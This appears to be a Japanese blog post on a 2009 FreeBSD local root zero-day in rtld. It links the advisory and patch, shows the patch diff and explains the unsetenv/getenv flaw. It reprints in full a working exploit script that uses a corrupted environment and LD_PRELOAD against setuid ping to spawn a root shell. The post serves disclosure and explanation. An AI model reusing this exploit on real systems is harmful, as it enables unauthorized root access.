うぉ。。。FreeBSDゼロデイ。。。
追記:The FreeBSD Project Security Advisory : Improper environment sanitization in rtld(1)
追記2:404 Blog Not Found: #FreeBSD - local r00t zeroday の対策
「Full Disclosure: ** FreeBSD local r00t zeroday」が出ています。 ローカルでroot権限が取得できてしまいます。 メーリングリストによると影響を受けるのとされているのが、FreeBSD 8.0, 7.1, 7.0のようです。 誰でも実行可能な実証コードが広く公開されてしまったので、FreeBSDをご利用の方は対応した方が良いのかも知れません。
早速緊急パッチが以下のURLで公開されています。
アナウンス:http://home.jp.freebsd.org/cgi-bin/showmail/announce-jp/1651
パッチ:http://people.freebsd.org/~cperciva/rtld.patch
緊急パッチの内容は以下のようになっているのですが、これを見ると今回のexploitはunsetenvとgetenvの違いを悪用しているようです。
Index: rtld.c
===================================================================
--- rtld.c (revision 199977)
+++ rtld.c (working copy)
@@ -366,12 +366,12 @@
* future processes to honor the potentially un-safe variables.
*/
if (!trust) {
- unsetenv(LD_ "PRELOAD");
- unsetenv(LD_ "LIBMAP");
- unsetenv(LD_ "LIBRARY_PATH");
- unsetenv(LD_ "LIBMAP_DISABLE");
- unsetenv(LD_ "DEBUG");
- unsetenv(LD_ "ELF_HINTS_PATH");
+ if (unsetenv(LD_ "PRELOAD") || unsetenv(LD_ "LIBMAP") ||
+ unsetenv(LD_ "LIBRARY_PATH") || unsetenv(LD_ "LIBMAP_DISABLE") ||
+ unsetenv(LD_ "DEBUG") || unsetenv(LD_ "ELF_HINTS_PATH")) {
+ _rtld_error("environment corrupt; aborting");
+ die();
+ }
}
ld_debug = getenv(LD_ "DEBUG");
libmap_disable = getenv(LD_ "LIBMAP_DISABLE") != NULL;
投稿されたexploitコードが以下のようなシェルスクリプトになっているのですが、ポイントとしては以下のような点がありそうです。
- env.cでenvironを塗りつぶしている
- environ[0]にゴミを入れている
- environ[1]に LD_PRELOAD=自分が作ったroot権限取得用ライブラリ としている
- rootにsetuidされているプログラムをexeclしている(このサンプルではpingですが、ping6でもtracerouteでも恐らく同様に実行できてしまうと思います。pingはRAWソケットを開く必要があるのでrootにsetuidされています)
- LD_PRELOADで指定されているライブラリは/bin/shをsystem()で実行している(/bin/shを呼び出すのが以下のサンプルだとrootにsetuidされたpingコマンドなので、root権限のシェルが実行されてしまう)
「Full Disclosure: ** FreeBSD local r00t zeroday」より
====
#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include
main() {
extern char **environ;
environ = (char**)malloc(8096);
environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");
execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include
#include
#include
#include
void _init() {
extern char **environ;
environ=NULL;
system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env
で、これが何故発生してしまうかですが、unsetenv()とgetenv()の違いがありそうです。 パッチが作成されたFreeBSD 8.0のlibexec/rtld-elf/rtld.cを見ると、taintedなプロセスではLD_PRELOADなどをunsetenv()で無効にしようとしています。 しかし、lib/libc/stdlib/getenv.cを見るとunsetenv()は__build_env()が「environment corrupt; unable to find 」というメッセージを表示しながら失敗します。 rtld.cの369行目付近にあるunsetenv(LD_ "PRELOAD")がenviron[0]に引っかかって失敗する形ですかね? 一方で、同じファイル内で宣言されているgetenv()はenviron[0]のゴミを無視して次のenviron[1]を取得出来てしまうというところを突いた物と推測しました。
こういうのがあるから怖いですね。。。 exploit実証コードがセキュリティアップデートが普及する前に配布されてしまったので、ご注意下さい。 対処はお早めに。。。
なお、絶対にこのFull Disclosureで公開されているスクリプトを興味本位で他人の環境で実行しないで下さい。犯罪です。 どうしても試したい場合は、VMWareなどに自前でFreeBSDをインストールして、自分の環境内で実行するなどの方法があるのかも知れません。
最近のエントリ
- 「ピアリング戦記」の英訳版EPUBを無料配布します!
- IPv4アドレス移転の売買価格推移および移転組織ランキング100
- 例示用IPv6アドレス 3fff::/20 が新たに追加
- ShowNet 2024のL2L3
- ShowNet 2024 ローカル5G
- ShowNetのローカル5G企画(2022年、2023年)
過去記事